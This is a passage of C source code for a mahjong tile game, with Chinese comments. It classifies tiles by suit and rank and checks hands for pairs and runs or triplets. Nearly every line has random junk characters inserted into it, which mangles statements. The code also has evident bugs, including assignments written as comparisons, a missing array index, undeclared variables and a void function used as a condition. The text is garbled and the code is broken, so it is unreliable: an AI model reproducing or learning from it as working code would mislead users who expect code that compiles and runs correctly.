else if(computer.pp[c].number&lt;=47 &amp;&amp; computer.pp[c].number&gt;=44)# J$ E2 f; X* a# j0 R1 ]; p
logoo=3;
+ n" U9 k% W0 ^2 I( _, x% z5 telse if(computer.pp[c].number&lt;=51 &amp;&amp; computer.pp[c].number&gt;=48)$ M! o9 ~5 |$ I6 ^1 P* D6 O( {+ Z
logoo=4;! y2 Z8 P+ t: j- s$ k. P2 r- a
else if(computer.pp[c].number&lt;=55 &amp;&amp; computer.pp[c].number&gt;=52)7 g4 O" S: i$ S
logoo=5;- p, i& Y" }2 U8 o5 S. P( T
else if(computer.pp[c].number&lt;=59 &amp;&amp; computer.pp[c].number&gt;=56)
; L4 N0 ~  `2 _6 J6 Zlogoo=6;% F  q7 o6 \1 A
else if(computer.pp[c].number&lt;=63 &amp;&amp; computer.pp[c].number&gt;=60)
$ Z/ K0 q9 b+ q8 ologoo=7;. ]) I8 W5 y2 a0 M, t
else if(computer.pp[c].number&lt;=67 &amp;&amp; computer.pp[c].number&gt;=64)
/ N# F5 Q- h- G  flogoo=8;2 R9 }6 L; |- _- F
else if(computer.pp[c].number&lt;=71 &amp;&amp; computer.pp[c].number&gt;=68)
( W5 J8 Y- N; v) F" D' O5 _logoo=9;+ d1 ?+ P& x  `
}
) G, h- |/ H8 ?6 m1 jelse if(computer.pp[c].number&lt;=107 &amp;&amp; computer.pp[c].number&gt;=72)  k1 |) D( R$ S" h3 r% h# Y- z
{
) L8 ?  k, h  alogo=3;
+ D9 O3 f! K! d! nif(computer.pp[c].number&lt;=75 &amp;&amp; computer.pp[c].number&gt;=72)1 N! y$ n8 t4 H* E; P8 A
logoo=1;! U2 M! h1 f& Q; i9 a& [
else if(computer.pp[c].number&lt;=79 &amp;&amp; computer.pp[c].number&gt;=76)
0 z6 B4 H" z5 @3 q( h1 Y( blogoo=2;2 J. \$ E9 w' M! ^
else if(computer.pp[c].number&lt;=83 &amp;&amp; computer.pp[c].number&gt;=80)3 S8 m, y, z3 c. A
logoo=3;
2 J- Q; l# u0 @6 ?* ]. j3 Q8 delse if(computer.pp[c].number&lt;=87 &amp;&amp; computer.pp[c].number&gt;=84)7 x. G- S/ M% a$ M% r2 S; j( X
logoo=4;' X/ M4 Z" K, K, F8 W
else if(computer.pp[c].number&lt;=91 &amp;&amp; computer.pp[c].number&gt;=88)
5 e: `1 m' W  l1 {$ H& i4 O; Slogoo=5;- n/ X9 G, y% y3 g' \) e7 B# P  h
else if(computer.pp[c].number&lt;=95 &amp;&amp; computer.pp[c].number&gt;=92)
! r1 C. @! X- H' Rlogoo=6;; ~' M9 `2 m$ t6 K+ y3 ~/ r- J
else if(computer.pp[c].number&lt;=99 &amp;&amp; computer.pp[c].number&gt;=96)
7 X0 W4 n, C8 I% w6 t7 l$ k" Llogoo=7;) n; b, w& u! L
else if(computer.pp[c].number&lt;=103 &amp;&amp; computer.pp[c].number&gt;=100)/ S* }# T( O' B
logoo=8;$ R( g5 l" x" [9 C3 a
else if(computer.pp[c].number&lt;=107 &amp;&amp; computer.pp[c].number&gt;=104)8 {( j% H- F, y4 l2 H" s# w: T
logoo=9;6 n$ W6 U" |2 _- F; R
}8 \1 c4 n, ?- K9 `- t: m0 X; A
else if(computer.pp[c].number&lt;=135 &amp;&amp; computer.pp[c].number&gt;=108)/ E. z  W7 d8 M4 H) i
{
: O. p- p6 C' F" ~logo=4;
9 M; q4 M6 \- M8 p9 I2 Q3 M/ mif(computer.pp[c].number&lt;=111 &amp;&amp; computer.pp[c].number&gt;=108)
/ `: ^, O' E! Y  d8 Y: ologoo=1;
; N( D  @  ?- celse if(computer.pp[c].number&lt;=115 &amp;&amp; computer.pp[c].number&gt;=112)) F6 N8 k! p) l& ]- q6 S
logoo=2;
1 q. x3 i- c4 M* {) @else if(computer.pp[c].number&lt;=119 &amp;&amp; computer.pp[c].number&gt;=116)
' j6 R: V% C+ A. q. Y% \& G9 G5 j0 p5 Slogoo=3;
8 R6 h( Y7 ?7 m# ]4 F0 kelse if(computer.pp[c].number&lt;=123 &amp;&amp; computer.pp[c].number&gt;=120)+ ^( z( X* A6 n/ F  k6 u
logoo=4;
- P4 w" q, D5 a/ N5 U& Kelse if(computer.pp[c].number&lt;=127 &amp;&amp; computer.pp[c].number&gt;=124)
, g( P, h6 y, ^  W2 a- f# R. vlogoo=5;7 k' v$ G. e; d7 B$ Q
else if(computer.pp[c].number&lt;=131 &amp;&amp; computer.pp[c].number&gt;=128)
* \# z, n/ h+ o* y7 b# e3 W6 vlogoo=6;
" T# a5 Q2 }6 k% b+ d7 oelse if(computer.pp[c].number&lt;=135 &amp;&amp; computer.pp[c].number&gt;=132)
8 R1 j9 S. z" M9 Z8 [. D4 M0 wlogoo=7;; v! D9 m0 k4 b7 C. Y) P
}
  x+ h2 T8 S( d. _% |while(b&lt;=me.m)
3 i* n2 b' i8 T{
( e7 x' P2 F) X6 t" Qif(me.pp.number&lt;=35 &amp;&amp; me.pp.number&gt;=0) /*我分析后出了第一张牌*/; C4 [1 ~/ f% t( f  }% P
{* l  A- W) O3 b( @) Z
lg=1;& p3 z$ E: N" z5 c  z
me.pp.d[0]=1;, j( ~7 o7 l& P1 W
if(me.pp.number&lt;=3 &amp;&amp; me.pp.number&gt;=0)
7 h4 H+ A+ P( @8 F6 S# P. @1 p{
" B6 C; H$ S8 D- b( M$ c, Xlgg=1;% \7 B: A7 ~* {6 ]8 b, I$ A3 ^- }
me.pp.d[1]=1;/ g6 p9 D1 {; B( i, U/ @# X
}
2 K; h8 g/ M# L3 b8 ^5 c9 W+ ]else if(me.pp.number&lt;=7 &amp;&amp; me.pp.number&gt;=4)
- h6 V3 I; C: l- `7 u# B: S{$ i8 I/ y8 j- \" @! z8 ]
lgg=2;
) S5 D/ s* E- B4 L" \me.pp.d[1]=2;/ f( f$ h" ~- t$ P5 d( l) \( }( d
}: b; I1 k7 @% ^+ J9 b" A
else if(me.pp.number&lt;=11 &amp;&amp; me.pp.number&gt;=8)
4 m2 _' O9 f3 M7 N$ s4 u1 Z{
' o. M. y& x2 D6 }lgg=3;
5 i  ]% l0 }) D" v1 B* ?  Gme.pp.d[1]=3;
3 n+ ^2 G; [: W" u; C% U}
/ S' O4 Z# Q) _' e" \7 i6 \else if(me.pp.number&lt;=15 &amp;&amp; me.pp.number&gt;=12)
. q, K  ~- n+ S% b* _{( n$ E. ]+ p2 v8 w% U2 B
lgg=4;
5 Q, F& M4 U( Bme.pp.d[1]=4;! ?$ P$ X- u) y5 Q; z) `
}
) O- r5 j. [( L. R2 q, Yelse if(me.pp.number&lt;=19 &amp;&amp; me.pp.number&gt;=16)9 N! l! a. z. O% I4 Y
{( l6 y$ A0 ^, s9 n4 M! L1 h
lgg=5;( G) f1 G( e6 a0 P  \2 i# ~
me.pp.d[1]=5;& {; ~# n* D) Y  J- b( M
}
6 H. x% O/ A4 W: jelse if(me.pp.number&lt;=23 &amp;&amp; me.pp.number&gt;=20)  F! s/ ^8 y) i2 i: [
{! D' k. t. ^$ ~- n% M! K% R
lgg=6;
/ K8 i) U6 B+ h9 p7 W7 ^$ w9 Sme.pp.d[1]=6;
. ~4 h# E4 \5 o2 a}  b3 X# J" O7 u3 T
else if(me.pp.number&lt;=27 &amp;&amp; me.pp.number&gt;=24)' d$ \5 f8 r+ V  N# D2 f- Q' ?# o
{
. w7 b% J. U; A9 E  P3 ^- {% p1 f8 clgg=7;. s2 W1 T2 H) r2 c, y5 Y6 K
me.pp.d[1]=7;
& r5 g2 v. ?% h- Q% `}
$ u( R5 Q6 B3 w/ e. zelse if(me.pp.number&lt;=31 &amp;&amp; me.pp.number&gt;=28)) O# a0 ]+ e# t* L
{7 O+ P2 _/ B# W) B' g
lgg=8;
- e/ d6 ?4 M; H( K0 Qme.pp.d[1]=8;
4 [8 g: m/ d# p! f" }0 P& B}
9 h0 _: i% y( Delse if(me.pp.number&lt;=35 &amp;&amp; me.pp.number&gt;=32). [. D3 \% _. W" v
{2 P6 I7 e  M% A& Q* z/ z+ q
lgg=9;
2 g$ ]0 A6 A) |* V! t" ^0 _me.pp.d[1]=9;
# h+ c) J/ U( t& y" d}. S: H# S) @, d
}
. N3 p  z# c' c8 Z& q* }: d& Celse if(me.pp.number&lt;=71 &amp;&amp; me.pp.number&gt;=36)
" e/ |1 A, v6 I1 E- M3 {( L{1 B% j6 d2 s8 J' Q6 B! ^* @
lg=2;! _( T) p0 R" L) V6 F
me.pp.d[0]=2;* s+ k* Q: Q2 J" I, A4 c* b$ w+ @
if(me.pp.number&lt;=39 &amp;&amp; me.pp.number&gt;=36)0 ?+ x. b5 {, k2 S- q9 q4 N9 \' L
{7 p; ]. C7 `# |! N
lgg=1;
  V, x1 _8 t: h5 ?/ d* }$ [2 o- @me.pp.d[1]=1;
1 H. P+ t5 h, z6 @$ p- f, n}1 ~3 B) \& j$ i9 R
else if(me.pp.number&lt;=43 &amp;&amp; me.pp.number&gt;=40)  r' y" ~7 _1 s1 ]
{
! v# p. d2 V; Z4 glgg=2;
( D4 ~& T+ {4 m& Lme.pp.d[1]=2;
& _) I; o" ~% S$ N}
. z. ?4 _4 |- W8 Z( W( qelse if(me.pp.number&lt;=47 &amp;&amp; me.pp.number&gt;=44)
/ b+ Y# q3 \) [% m1 z8 f! l9 W{. q- E& k6 ], J+ [/ T
lgg=3;+ s$ L5 q) r6 z' [! q: s$ \0 d0 l- e
me.pp.d[1]=3;# A( i2 `3 j9 w( _6 I- U# R: K& u
}% p) g- t) F4 w, a8 G% ~+ i' j9 z
else if(me.pp.number&lt;=51 &amp;&amp; me.pp.number&gt;=48)8 a- g# i6 y% W) t5 I  e
{
; Y8 c1 \6 E; c$ r- Elgg=4;; h1 [. ?. C# j) }. `( `
me.pp.d[1]=4;& j! J5 e, v) F- z# J
}
$ m" e9 M) N: G( `else if(me.pp.number&lt;=55 &amp;&amp; me.pp.number&gt;=52)9 t. t, ^% d+ O
{
) V- \3 t4 x3 ?1 `2 H$ q' Vlgg=5;* ]; @1 e# Z! t) Z0 G( q+ W
me.pp.d[1]=5;5 @/ }8 Y( i) v
}
) b  V$ g0 ~% }2 ?' T1 D: Yelse if(me.pp.number&lt;=59 &amp;&amp; me.pp.number&gt;=56)
' f( F5 K/ I1 L2 ~; K+ _{
4 ?7 g+ v$ g/ d6 U2 elgg=6;
1 B  {- Y( p+ y3 A4 P% j- N% dme.pp.d[1]=6;- |/ g( |9 _' F( m
}
& O1 \# R! w& qelse if(me.pp.number&lt;=63 &amp;&amp; me.pp.number&gt;=60)6 M. h! a5 G/ C
{) Q9 }( e4 r! u1 \, p
lgg=7;  y( D! G2 S; l* t$ l' o
me.pp.d[1]=7;
- n2 k+ `6 `9 x% s& Q9 r}
) ]/ l, C) u& c5 Nelse if(me.pp.number&lt;=67 &amp;&amp; me.pp.number&gt;=64)
) I( t; l- w3 N2 m+ J6 U{' d) I) p6 r) l1 [- J# r
lgg=8;4 l$ y$ f0 Z. O$ [( ~  k, `% z
me.pp.d[1]=8;
( h8 s1 W6 x4 [- t, s$ m}5 S, ]& T/ `" U: {7 g. `% p5 C( H" [
else if(me.pp.number&lt;=71 &amp;&amp; me.pp.number&gt;=68)! F' T4 g$ [: J, O% M) g, P! \5 C
{
0 P- R& D; X- I3 ylgg=9;) k5 T/ v1 \3 ~! V4 u( h
me.pp.d[1]=9;
- i* S1 j, k+ n; Q' U# I* h+ j$ Z  Z& Z}: _8 I0 s/ v# m. R& k4 t" Q
}) ~, z8 _6 D" b6 x' m! ?3 {2 Z
else if(me.pp.number&lt;=107 &amp;&amp; me.pp.number&gt;=72)
4 H# E1 [& J1 G+ @! E7 c{/ R. D' V: U2 s# J
lg=3;# t" P7 h, W8 M" Y# e) m0 z
me.pp.d[0]=3;2 z2 Z  c# }: q" R* s9 {6 z& h3 ?
if(me.pp.number&lt;=75 &amp;&amp; me.pp.number&gt;=72)0 l& V+ s6 G7 A% K
{
2 A4 w3 S, s& g# zlgg=1;
( X" \+ e+ P  Tme.pp.d[1]=1;
4 l4 X0 q. v# x" S: k# T}- ~$ I7 D* N0 F. t: j, s
else if(me.pp.number&lt;=79 &amp;&amp; me.pp.number&gt;=76)
$ g5 ~4 W: r5 {, n, T{
9 t! ]  Z1 P6 k( {! i% E! Algg=2;( }$ r0 a: p# x- h3 N) m
me.pp.d[1]=2;$ U5 I" d7 d& w, B
}
) E7 z: u/ N+ k' P; e1 y7 P$ \else if(me.pp.number&lt;=83 &amp;&amp; me.pp.number&gt;=80)( K# }' l, w& V$ _8 m, @/ |3 @
{" |) l  f3 n" F. {1 T
lgg=3;
- N; z5 g# c- ?' X/ j% \( Yme.pp.d[1]=3;+ U* v) u2 S% H  g) \& g0 h5 A
}
( B3 U1 \. K0 O0 c' n, t  R0 aelse if(me.pp.number&lt;=87 &amp;&amp; me.pp.number&gt;=84)" E! c  m' l8 F0 @
{0 p  g, Q1 Q" Y+ Y. D9 L; a( q
lgg=4;4 X! G3 Q; D; H, U. W
me.pp.d[1]=4;
. [( g. ^8 ?9 A, |( ^& z- ?5 K/ @' G}
% N* f# U8 F: s4 p1 a0 Aelse if(me.pp.number&lt;=91 &amp;&amp; me.pp.number&gt;=88)
$ c3 Q6 ]( E. X! f{
6 u7 X+ I  u$ @0 B4 s& Vlgg=5;  \$ z& [0 a+ t1 a  P' o) L
me.pp.d[1]=5;# ~/ S) N* s' d( p
}
6 N+ x8 v4 Y) @5 }, l* _/ p9 E+ B% [else if(me.pp.number&lt;=95 &amp;&amp; me.pp.number&gt;=92)( l0 q/ x8 ?, Q% B8 e9 C# E. C
{( L& k7 x- Y/ O
lgg=6;+ ]" m0 r& r4 \
me.pp.d[1]=6;
$ G& g& a' O' {% _( E; X' r6 J}0 h/ z; c% i/ G+ m
else if(me.pp.number&lt;=99 &amp;&amp; me.pp.number&gt;=96), q6 g0 ~3 V1 ^9 e3 l
{
, Z9 C" ]& t3 {; ?6 [) F  Z- ]5 Vlgg=7;
2 H6 e: b- ]3 P# \, Zme.pp.d[1]=7;
- w4 c* p7 o+ `0 T* v9 D" `( v}" C: T- |' ]* I2 M: K
else if(me.pp.number&lt;=103 &amp;&amp; me.pp.number&gt;=100)
1 a$ ~& m8 N3 _/ _- Z7 k# m{  l; d3 S% c. l
lgg=8;# t& ]; R# b7 c& j! E! c1 g
me.pp.d[1]=8;
, [, R: e% B* b2 J8 t+ P3 B- I}
9 {3 W' Y5 A* }8 D+ Lelse if(me.pp.number&lt;=107 &amp;&amp; me.pp.number&gt;=104)! X1 u$ R0 r  a# {/ p/ V) R
{; _& S. O; ~# B! D
lgg=9;
4 ]6 f/ ]- m1 V& A5 r3 _me.pp.d[1]=9;" j' |/ A3 U) S
}" n$ R( G! x1 S5 \! ^. J( {
}% K6 O. A9 s+ Q% B5 X& f
else if(me.pp.number&lt;=135 &amp;&amp; me.pp.number&gt;=108)
9 p1 c( ]3 f3 q% F) Z+ a{
' X9 q: `% U: u, `lg=4;
6 ]) ^8 O/ A$ D; ?8 W7 W7 \me.pp.d[0]=4;, Z7 r5 l7 w' J" s, `
if(me.pp.number&lt;=111 &amp;&amp; me.pp.number&gt;=108)* @9 H9 X/ P" [8 w5 H* h! X# D
{
. [( Y2 {  Y) H+ U# @$ Clgg=1;
+ H5 ]: n0 ~8 fme.pp.d[1]=1;
% b/ C* b* W3 Q% j" u}
# T0 n: Q$ T* delse if(me.pp.number&lt;=115 &amp;&amp; me.pp.number&gt;=112)* I" F; u' G+ d# }
{: l% R; H' n0 g$ e2 j" p) E3 ~) n1 I
lgg=2;
* b3 H! F8 c4 ?$ r9 r* V' dme.pp.d[1]=2;
' y1 q. h& h( [) H3 [& S6 q}4 o7 V$ i( D; @" z. P9 w
else if(me.pp.number&lt;=119 &amp;&amp; me.pp.number&gt;=116): B  F0 B( d9 t: d' S
{
# R) g& j0 J2 ]7 O3 E4 blgg=3;
( \% y0 d; F8 }/ U  C% xme.pp.d[1]=3;. }8 X" @5 @; F% P3 Z/ y
}
' d; i; P  ?1 v! Q; G; {& A, W0 yelse if(me.pp.number&lt;=123 &amp;&amp; me.pp.number&gt;=120)
& `$ H7 P  y& p9 z7 C{/ t4 D1 q& h; j: ]' r# S6 O
lgg=4;) J+ |% @4 N- h3 G9 c) ]; y
me.pp.d[1]=4;
* m; `* t& x+ Z% ^}
# J* B5 d/ ^; a! P8 f+ c* G4 |( u0 xelse if(me.pp.number&lt;=127 &amp;&amp; me.pp.number&gt;=124)
% D  a$ _7 X& y/ G2 f$ J{8 n3 ~3 O& B! m8 c5 D
lgg=5;
& d: ^% \, W4 k: x& F4 Z3 Yme.pp.d[1]=5;
5 |6 g# n5 G/ r% a}; |: e# U' R& c1 G# P2 I) H8 `0 G
else if(me.pp.number&lt;=131 &amp;&amp; me.pp.number&gt;=128)
! c3 b9 V/ W9 S+ I/ h{5 w# q5 X; y2 R& S9 u1 H
lgg=6;
$ [5 M5 U& S9 q0 ?# B+ Y$ u& B, Ome.pp.d[1]=6;
9 D" `+ ^6 n; a* U$ n}0 H* Z5 r- H1 Z4 Y) G, o- G
else if(me.pp.number&lt;=135 &amp;&amp; me.pp.number&gt;=132)- u/ H5 w. }( N( k" c! j! A
{: F" F/ u) _. l) q$ e
lgg=7;
6 h9 N$ C+ y1 Z; ^! d3 b" w! x9 U, Ame.pp.d[1]=7;
: B$ [1 z; a; x0 `" s}
/ S* i$ A8 V5 T! r. n9 T( n}; N) r3 R* e; o
}" ?9 \" g3 b+ q; K" D0 m/ Z
}
* A8 P0 T4 Z- F% @! _% Uvoid istwo(testt)
0 T9 d: D% N% l/ M" G; T+ c2 z9 ?$ aint testt[];  O; e; r! u, A, o
{ if(testt[0]==testt[1])" L3 s+ D. j3 j, R" X' i5 m
second++;9 l" n' w( y" U! b3 r
}& h3 j" _, i! A' D/ D( c: C
void isthree(testt,n)4 @0 n" K7 L7 @/ L2 Y& y0 Q
int testt[],n=0;, R. o1 R  G/ x- y# \
{ int i,j,flage=0,lianx=0,same=0;
% l, q$ @  M/ J8 l' }! X- {n=n/3;  B7 @+ H# H5 N* G" [2 o
for(j=0;j&lt;n;j++)2 f: ?4 x) c( C. }1 o% g& G* k
{# ?7 v& |( v, J; H3 n/ n( e3 W4 A+ T& y/ j
for(i=j*3;i&lt;2+j*3;i++)
4 A5 y) r/ A& B* }2 G7 H{
& x6 l5 u4 ?4 x' v$ d) g5 J. Nif(testt==testt[i+1])
# O2 x( f- G# osame++;
( N/ I. Z& b  L1 `+ Tif(testt[i+1]-testt==1)
' \' M& c& T, [lianx++;
: W4 z4 Y7 x, M7 B) b# n' \/ U}
1 F; ~8 F/ j9 \0 B' g" d+ S8 R; Qif(same==2)0 r2 H$ t+ a0 c: R
threes++;
% F9 m) k$ h$ @' dif(lianx==2)  p7 b* ^: |3 N
threes++;! S# ]- i+ b7 O7 [3 k
same=0;4 k9 B' w; q' l3 F0 [
lianx=0;8 g: j9 r7 d+ k
}
7 k$ H: b2 ?& E/ C4 ?+ V}
* P, U3 o1 \! ^0 Y1 h1 zvoid panduan() /*本程序的精髓*/
; ^8 Y+ K; c4 C; \! W{int data[14];
7 q, q8 q3 {7 j+ j. E2 x; [8 Tint pw[14];
8 o7 m; B9 Q4 X# z( gint pt[14];6 l+ l& X9 G" g7 _
int pi[14];
" Q" [1 k% E4 Yint pf[14];2 Q7 {+ L8 u7 Z5 r7 E, R
int test[12];% w! h" I" I% J/ R3 k
int jj,w,mm,nn,tpp=0,lp=0,ww=0,tt=0,ii=0,ff=0;ill=0;
& T2 ^% z' }4 cfor(jj=0;jj&lt;=me.m;jj++)" j& D6 `7 }# M  B+ {
{
& I2 Y5 ~% t! ^/ _8 }; w0 Y* Iif(me.pp[jj].d[0]==1)% l% G) {- P, o5 \2 l0 n7 J
data[jj]=me.pp[jj].d[1];' b. s0 x4 M2 t9 f% F( }5 f4 V
if(me.pp[jj].d[0]==2)! R' F3 h$ k6 A' i% c
data[jj]=me.pp[jj].d[1]+10;
* T' S) d" j( I% D6 ^5 W/ jif(me.pp[jj].d[0]==3)3 t3 W" n' O/ c7 ^% w
data[jj]=me.pp[jj].d[1]+20;
% y3 d1 P- R. [( c2 N2 X( Eif(me.pp[jj].d[0]==4): L2 \% v# Y7 V6 g
data[jj]=me.pp[jj].d[1]+30;
% g& E7 e- L" U% n}
& S% W/ a& }2 O* F# Hif(logo==2)
/ a$ C8 W' O5 d. qw=logoo+10;7 x! [" r4 O  p1 y5 m  P
if(logo==3)3 R  C# v' l- V/ Y
w=logoo+20;4 V% y: K+ _! E
if(logo==4)
- |& I+ B0 s; \# [w=logoo+30;
- `9 y4 P- j7 W5 ]5 V* odata[computer.m+1]=w;9 P. \5 q2 Q. a, _; w' A$ h& E
for(mm=0;mm&lt;=computer.m;mm++)
' _& t- \' [" F( k& wfor(nn=mm;nn&lt;=computer.m;nn++)3 G4 T5 F7 ^/ @7 M. Q
if(data[mm]&gt;data[nn+1])
; n0 _% u. _  D2 |{1 C! X- f5 ^% p6 n: A' }* @- Y/ k% _
tpp=data[mm];
3 w! E( {4 X. pdata[mm]=data[nn+1];
/ L$ P: `4 A5 \9 T4 `: Kdata[nn+1]=tpp;/ W; C" C7 D+ y3 R. a9 v& ]+ a; t
}3 h( X6 U: `! t
lp=0;
% ?! d6 i* g  d& Z5 I: K+ [while(lp&lt;=computer.m), S- E+ a9 N2 y3 N
{ if(data[lp]&lt;10)7 n0 D9 Z$ Q. m4 c2 b; |  e6 u# ~
pw[ww++]=data[lp];
$ i3 A% e$ n; v. q+ N" kif(data[lp]&gt;10 &amp;&amp; data[lp]&lt;20)( E4 H8 D( |4 c& X
pt[tt++]=data[lp];3 b$ R" ?- p1 i  {4 b
if(data[lp]&gt;20 &amp;&amp; data[lp]&lt;30)
( G* d& V8 Z' j, jpi[ii++]=data[lp];
" E3 T1 O. E; \5 Y' jif(data[lp]&gt;30 &amp;&amp; data[lp]&lt;38)
8 S3 J, O; l7 L1 l! F1 b/ U. j1 Y) Rpf[ff++]=data[lp];
4 P0 \# p  q* Jlp++;; L2 @' ~6 y% Q- K6 D
}
; Z4 c  V3 s- ^3 y. wif(ww==2)0 z$ f9 E5 U( i, c3 @
istwo(pw);
. e* L' Z, o$ k6 h4 d: ielse if(ww==3)
# A  c0 W' D! t5 ^5 o5 kisthree(pw,ww);
7 c" U* H* q" K. {4 ]* U2 Felse if(ww==5)
3 D+ h  N! A" D! f% r/*pw[5]原始牌数组,假设已经升序排列*/
0 ?2 m! A+ J3 U+ o3 X) g/*test[3]用来放置测试牌的数组*/
, P' H% |- R1 L! r1 l0 \for(i=0;i&lt;4;i++)9 e, P4 \  E1 u1 q5 j7 y7 n& ^
{
' T$ y' m. R; S+ O2 Dfor(j=0;j&lt;2;j++)" t, G  [! [/ i8 `0 C
{test[j]=pw[i+j];3 |' x: w" N' B% m
}  T- Q. b' v. W2 N, g
if(istwo(test))
( R' t" e) K4 h# G{ ill=0;
1 g4 |# M; o8 u0 \! E: \0 Q6 nfor(kl=0;kl&lt;5;kl++) /*把不在test数组中的三张放到test数组中*/
: M  d0 i! g% ^: `( w' F{if(kl==i)6 R7 v1 _+ M$ X) l9 U& S
{
. |: [; ~( A" L! i2 v+ Y+ f4 @1 o! Wkl=kl+2;7 b' _. a2 \( ^5 U" i
if(kl==5)3 I# {& f+ m1 `! r+ S
break;
5 X2 y  ]  e6 N8 A' M6 A* Y}
1 ^! d# F. L2 G9 J. btest[ill++]=pw[kl];+ S$ Q# T* Z; \" @: [6 Q
}
1 k* k$ u; ?0 k: a$ c2 O$ c/ Eisthree(test);
. H/ A' Y& b8 m}9 \" f+ ^# p7 ~/ r5 Z3 m4 r
}
7 u* a3 a& c9 m# r" A0 G) [. O5 Delse if(ww==6)) W6 }# x" @8 n
isthree(pw,ww);
  O, h& n5 T8 N# p' }else if(ww==8)4 ?; {8 @3 U6 x( k* g+ N" s* |$ k. P
for(i=0;i&lt;7;i++)( e" j4 F' l: f* ]
{
& K( Y9 a8 m. Qfor(j=0;j&lt;2;j++)
' X1 \8 x# Z2 t{test[j]=pw[i+j];
! H1 x5 D& W- _# E1 d5 B4 ~}
; }8 }1 ?8 _) s7 z* Q/ A. ^; z1 _if(istwo(test))
+ c- C0 g) X0 \! y{ ill=0;
* }( m9 g7 {- T% M+ F% s" ffor(kl=0;kl&lt;8;kl++) /*把不在test数组中的六张放到test数组中*/
0 n* l" I2 N7 t7 |9 p2 t+ n' _6 M7 u{if(kl==i)- w/ c; Z+ B7 q
{
* f4 `# m; H/ }kl=kl+2;' t) x- y7 X2 L" Q& r& H
if(kl==8), w4 b) a. Q* Z6 l# n
break;" _. e9 E; u* f7 o9 }6 h
}; h1 f; K' S. w! `2 _- Q
test[ill++]=pw[kl];" `8 O7 l/ T3 o& S1 t% S
}, f) z2 V" r  `* w! l7 c! {( T
isthree(test,ww-2); - e7 ?4 f7 k5 u; A+ i* [
}
7 r- [: }# m# F) P  }' k} ( O: P+ b# g# ^
else if(ww==9)
) E% A; ?. o$ g+ G" B- Iisthree(pw,ww);
9 O" s' n9 s  lelse if(ww==11)
1 @# u9 Y/ c- H/ ]$ O0 E2 ifor(i=0;i&lt;10;i++)
& u; _7 A: z) b{6 Z7 i9 V4 t: k. u0 a1 T# C6 z
for(j=0;j&lt;2;j++), b0 v* g* j- H# F1 g; D: i+ D
{test[j]=pw[i+j]; 8 e+ n. c! g- D3 W: F6 Z
}
4 J4 z/ k5 [0 c& x: i/ qif(istwo(test))
1 H4 w8 B$ F4 D{ ill=0;
( B" V" A6 b; k# r5 Ifor(kl=0;kl&lt;11;kl++) /*把不在test数组中的九张放到test数组中*/# k/ ^, p9 ~0 ]8 g1 O/ m. _$ x
{if(kl==i)0 T0 H  ]6 V; g* R/ a
{
: S7 p' \& P* ^5 n0 `/ {- e9 Kkl=kl+2;# m) [* ^6 I. U0 Z( J. Y
if(kl==11)
. U. @' V2 E) g! {) H: F9 ]break;$ M4 X4 T3 _8 h- s0 t
}
: H# S6 ?/ P$ N6 Jtest[ill++]=pw[kl];* y" A3 i9 U9 ]$ a
}
: [$ G  y: r4 v# b1 \isthree(test,ww-2);
$ |  L, U) R* N3 L/ ]& K}
1 A7 U5 q* q6 L' Z2 d}
0 V# C+ u: I1 lelse if(ww=12)6 E3 T0 a6 o- d3 k; U& E. U, L1 W
isthree(pw,ww);
0 F$ t0 E5 h; ~( z  Jelse if(ww=14)* M! W2 v. F% s" [, U9 d
for(i=0;i&lt;13;i++)
) J5 I: o- [0 E( Y# @{
$ D" E$ V. w$ r9 W* @for(j=0;j&lt;2;j++)
+ r' e) v/ R1 z9 \' l6 X{test[j]=pw[i+j];' h: x3 n5 g7 V" O/ r
}9 Z- J+ f3 I# \2 s4 N# w
if(istwo(test))+ e% e9 \6 h% N! A* y9 \
{ ill=0;, m2 i, y) O+ Y
for(kl=0;kl&lt;11;kl++) /*把不在test数组中的九张放到test数组中*/
6 P) L9 z6 v' g0 e/ {0 Z{if(kl==i)* r4 X# F! I- v( `! B/ J( o
{
, e$ ~- v- w' A: c) @kl=kl+2;) s' O9 Z' D, }# [( d/ w1 g
if(kl==14)
& |1 x5 V9 k- L0 W1 r5 p! _7 xbreak;
2 t' j- k* T: w}! N8 [' m5 Z8 V  `2 T) Q- v
test[ill++]=pw[kl];1 g8 ?1 _6 U, `6 p$ _6 J- q  t( A
}
& s7 c8 X. Z) l! X5 t# @9 C9 s, listhree(test,ww-2); 8 w, A0 h* z% Q, M4 f( I" o
}
! S8 Y; ?/ A$ Y* F2 v  u/ l}( u( d3 b: F. g3 I1 D+ O0 `: i) v
if(tt==2)
) h8 K# W* a2 q: i! ]istwo(pt);6 A! _! E, _* [  o
else if(tt==3)- B7 P% Z4 ~# Q; H
isthree(pt,tt);
' T2 O8 e0 }# `5 P/ ielse if(tt==5): u1 r5 x' U  y: k  [3 t; M
/*pt[5]原始牌数组,假设已经升序排列*/
; z4 ], d$ u: `7 Q) A/*test[3]用来放置测试牌的数组*/& i0 m# O9 @$ g; e2 m8 I
for(i=0;i&lt;4;i++)' ]" u% j# ?  c' I; i( J' [) o# W  s
{" U3 m! I7 f- I2 Q! \% P) D7 O" b. w
for(j=0;j&lt;2;j++)% U1 w! o6 x* H$ w
{test[j]=pt[i+j]; " z( e& ^; M, K9 a6 X$ A. p, L  G
}
. F. Y6 ]# @  \/ J" d; P6 E7 ]if(istwo(test))
; D: H- ~6 L  x3 V* l# m/ I+ a; @{ ill=0;
( A: u& N. F0 `7 \4 c8 s  Gfor(kl=0;kl&lt;5;kl++) /*把不在test数组中的三张放到test数组中*/: H: x1 G6 _  _. H9 Q! M
{if(kl==i)9 o8 u0 p0 h9 l5 Y9 b+ A
{& y7 C1 V. s, R' U! _+ ]
kl=kl+2;
9 g; Y) n* [4 k( H8 C0 xif(kl==5)
% {$ I6 c- V1 N5 B+ B6 z. Fbreak;3 L: f0 Y3 [/ I) {6 z& z
}
/ a1 q* n' A# R! h- a+ ttest[ill++]=pt[kl];
7 i$ M9 y& c5 _6 ~) ^' N' O) j}' X& x# y, ^4 }/ K1 ?/ _- Z7 u2 t% D
isthree(test);" u; e/ O' R& @5 o( n
}( N! d9 N( h8 H$ v* z# A% x1 q
}
5 ?; p3 [; m; ~/ s+ Belse if(tt==6)
4 q; \( x" F2 f* K, Eisthree(pt,tt); & \! n. i: O' q: G* |* n" }& ?
else if(tt==8)
4 R0 R' ?. K: Zfor(i=0;i&lt;7;i++)- s7 u/ ~6 E* R
{
, ?, m( s) W7 A0 P8 H5 }for(j=0;j&lt;2;j++)8 T) k) Q) T9 T  e) D5 _
{test[j]=pt[i+j]; 1 [0 h6 W, `- W" @! ^9 z# k) G
}
